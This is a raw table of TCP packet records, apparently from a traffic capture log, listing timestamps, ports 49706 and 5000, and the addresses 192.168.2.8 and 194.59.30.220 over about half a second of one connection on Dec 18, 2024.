Dec 18, 2024 11:56:23.907562017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.908150911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.908205032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.908248901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.919255972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.919282913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.919364929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.919644117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.919842005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.919887066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.920542955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.920675039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.920725107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.921418905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.964180946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.054894924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.055054903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.055105925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.055417061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.055619001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.055660009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.056428909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.056575060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.056619883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.057605982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.057845116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.057898998 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.057984114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.058902025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.058943033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.059089899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.059986115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.060014963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.060026884 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.060795069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.060839891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.060971975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.061605930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.061660051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.061719894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.062514067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.062551975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.062628984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.063205957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.063246012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.063323021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.063870907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.063910007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.063977957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.064589024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.064634085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.064660072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.065291882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.065377951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.065387011 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.066011906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.066052914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.066072941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.067076921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.067131996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.067344904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.067862988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.067910910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.067950010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.068800926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.068844080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.068953991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.069746971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.069792986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.069828033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.070580959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.070627928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.070676088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.071712017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.071754932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.071830034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.072930098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.072981119 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.073071003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.074959040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.075004101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.075021029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.075690031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.075751066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.075782061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.076280117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.076327085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.076358080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.076828957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.076879025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.076965094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.077333927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.077378035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.077483892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.077985048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.078031063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.078109026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.078844070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.078891993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.079006910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.079725981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.079778910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.079802036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.080409050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.080456018 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.080492020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.081585884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.081635952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.081738949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.082755089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.082798958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.082863092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.083599091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.083651066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.083843946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.084526062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.084583044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.084741116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.085381985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.085437059 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.085551023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.086221933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.086278915 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.086302042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.087007046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.087065935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.087099075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.087817907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.087882996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.087913990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.088608027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.088660002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.088694096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.089426041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.089473963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.089586973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.090244055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.090287924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.090327024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.091139078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.091192007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.091242075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.092323065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.092338085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.092374086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.093159914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.093250990 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.093369961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.093961000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.094002962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.094017029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.094736099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.094805002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.094886065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.095652103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.095721960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.095774889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.096856117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.096899033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.096914053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.097826958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.097871065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.097887993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.098547935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.098614931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.114075899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.114433050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.114517927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.114834070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.114847898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.114898920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.115434885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.115539074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.115582943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.116288900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.167345047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.247248888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.247422934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.247539997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.247683048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.247842073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.247921944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.249011040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.249054909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.249109030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.249860048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.249952078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.250014067 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.250905991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.251087904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.251142025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.251813889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.251888037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.251930952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.252523899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.252641916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.252691031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.253329992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.253456116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.253505945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.254288912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.254369974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.254417896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.255357981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.255398989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.255446911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.256294012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.256427050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.256474972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.257329941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.257467031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.257514000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.258048058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.258116007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.258157015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.258788109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.259042978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.259090900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.259556055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.259643078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.259691000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.260278940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.260370016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.260416985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.261161089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.261287928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.261334896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.262103081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.262218952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.262268066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.263041019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.263374090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.263422966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.263967037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.264031887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.264075994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.264955044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.265294075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.265342951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.266011000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.266170025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.266217947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.267004013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.267085075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.267133951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.267920971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.268034935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.268085957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.268495083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.268527031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.268569946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.269373894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.269396067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.269457102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.270018101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.270103931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.270152092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.270669937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.270739079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.270787954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.271303892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.271378994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.271425009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.271980047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.272042990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.272088051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.272614956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.272744894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.272790909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.273312092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.273422956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.273468971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.274009943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.274158955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.274214029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.274909019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.274983883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.275031090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.275907040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.275986910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.276030064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.276765108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.276856899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.276916027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.277697086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.277813911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.277861118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.278736115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.278793097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.278839111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.279783010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.279855967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.279901028 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.280555964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.280704975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.280746937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.281424999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.281507015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.281553984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.282263994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.282349110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.282396078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.283047915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.283133984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.283179998 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.283962965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.284050941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.284099102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.284858942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.284949064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.284995079 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.285691023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.285856962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.285903931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.286617041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.286691904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.286734104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.287544012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.287622929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.287669897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.288448095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.288585901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.288633108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.289311886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.289443016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.289491892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.301433086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.301655054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.301719904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.301821947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.302073002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:24.302113056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:24.302211046 CET	5000	49706	194.59.30.220	192.168.2.8
